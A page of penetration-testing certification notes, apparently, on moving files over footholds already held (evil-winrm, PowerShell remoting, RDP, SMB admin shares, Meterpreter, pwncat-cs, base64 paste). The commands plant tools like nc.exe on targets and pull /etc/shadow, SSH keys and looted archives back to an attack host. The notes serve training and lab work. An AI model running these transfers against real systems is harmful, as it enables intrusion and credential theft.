Session Transfers
CPTS Notes
- Foundations
- Enumeration with Nmap
- Passwords
- Wordlists
- Cracking
- Protected Files
- Spraying and Defaults
- Hunting (Windows)
- Hunting (Linux)
- Hunting (Shares)
- Hunting (Traffic)
- Looting (Windows)
- Looting (Linux)
- File Services
- FTP
- SMB
- NFS
- Rsync
- Network
- DNS
- SNMP
- SMTP
- Mail Retrieval
- Cloud Mail
- Databases
- MySQL
- MSSQL
- Remote Access
- SSH
- R-Services
- RDP
- WinRM
- WMI
- Linux
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- File Transfer
- Choosing a Method
- Serving Files
- Windows Transfers
- Linux Transfers
- Code One-Liners
- Session Transfers
- Protected Transfers
- Detection & Evasion
- Windows
- Reading Files
- Editing Files
- Searching Files
- Requests and Transfer
- Local Enumeration
- Privesc Primer
- Reference
- Port References
- DNS Resolution
- The Mail Pipeline
- SMB & NetBIOS
A session you already hold moves files over its own connection. It needs no new port, server, or firewall rule. Try this first. With no network path at all, encode the file as base64 and paste it through the terminal.
SSH sessions use scp (Linux Transfers).
evil-winrm
Inside an evil-winrm session (WinRM):
upload /opt/tools/winPEASx64.exe C:\Users\Public\winPEASx64.exe # upload to the targetdownload C:\Users\Public\loot.zip /tmp/loot.zip # download to the attack hostGive a bare file name for the current folder, or an absolute path. Relative paths fail. Tab completes local file names.
PowerShell remoting
From one Windows host to another over WinRM. The account needs admin rights on the remote host, or membership of Remote Management Users.
$s = New-PSSession -ComputerName DATABASE01 # open a session to the remote host# copy to the remote hostCopy-Item -Path C:\Users\Public\nc.exe -Destination C:\Users\Public\ -ToSession $s# copy from the remote hostCopy-Item -Path C:\Users\Administrator\Desktop\db.bak -Destination C:\Users\Public\ -FromSession $sAdd -Credential (Get-Credential) to New-PSSession for another account.
RDP
Share a folder of your attack host into the RDP session:
xfreerdp3 /v:$TARGET /u:administrator /p:'<pass>' /drive:share,/opt/tools # connect, share /opt/tools as sharerdesktop $TARGET -u administrator -p '<pass>' -r disk:share=/opt/tools # same with rdesktopOn older Kali, the command is xfreerdp with the same options. In the session, open \\tsclient\share. Copy files in both directions.
Defender on the target scans the shared folder. It can delete tools from your attack host.
Add +clipboard to copy and paste text between the hosts.
SMB admin shares
With admin credentials, write to C$ or ADMIN$ from your attack host (SMB):
# upload to C:\Users\Publicsmbclient //$TARGET/C$ -U 'administrator%<pass>' -c 'put winPEASx64.exe Users\Public\winPEASx64.exe'# download from C:\Users\Publicsmbclient //$TARGET/C$ -U 'administrator%<pass>' -c 'get Users\Public\loot.zip loot.zip'-c runs one command and exits. put and get take the source first, then the destination.
Meterpreter
upload /opt/tools/nc.exe C:\\Users\\Public\\nc.exe # upload to the targetdownload C:\\Users\\Public\\loot.zip /tmp/ # download to the attack hostMeterpreter reads \ as an escape character. Double each backslash, or use /.
pwncat-cs
pwncat-cs catches a Linux reverse shell and transfers files over it. Press Ctrl+D to switch to the local prompt:
upload /opt/tools/linpeas.sh /dev/shm/linpeas.sh # upload to the targetdownload /etc/shadow ./shadow # download to the attack hostIt writes the file with binaries already on the target.
Base64 paste
For a host with no network path to you. The file passes through your terminal as text.
Encode on your attack host:
md5sum id_rsa # hash to compare after the transferbase64 -w 0 id_rsa; echo # print the file as one base64 line-w 0 prints one line with no wrapping. echo adds a final newline, so the copy selection ends cleanly.
Decode on a Linux target:
echo '<base64>' | base64 -d > /dev/shm/id_rsa # decode to a filemd5sum /dev/shm/id_rsa # compare with the original hashDecode in PowerShell:
# decode to a file[IO.File]::WriteAllBytes('C:\Users\Public\id_rsa', [Convert]::FromBase64String('<base64>'))Get-FileHash C:\Users\Public\id_rsa -Algorithm MD5 # compare with the original hashEncode in PowerShell, to send a file back:
[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\Public\loot.zip')) # print the file as base64[IO.File]::ReadAllBytes works in Windows PowerShell and PowerShell 7. Get-Content -Encoding Byte fails in PowerShell 7.
Encode and decode in cmd with certutil:
REM encode to base64certutil -encode loot.zip loot.b64REM decode from base64certutil -decode loot.b64 loot.zipThe certutil output adds BEGIN and END lines. Delete them before you decode on Linux.
Limits:
- A
cmdcommand line holds at most 8,191 characters. - A web shell can fail on a long request. Send the file in parts.
- A terminal paste of more than some kilobytes can drop characters. Compress the file first with
gziportar -czf.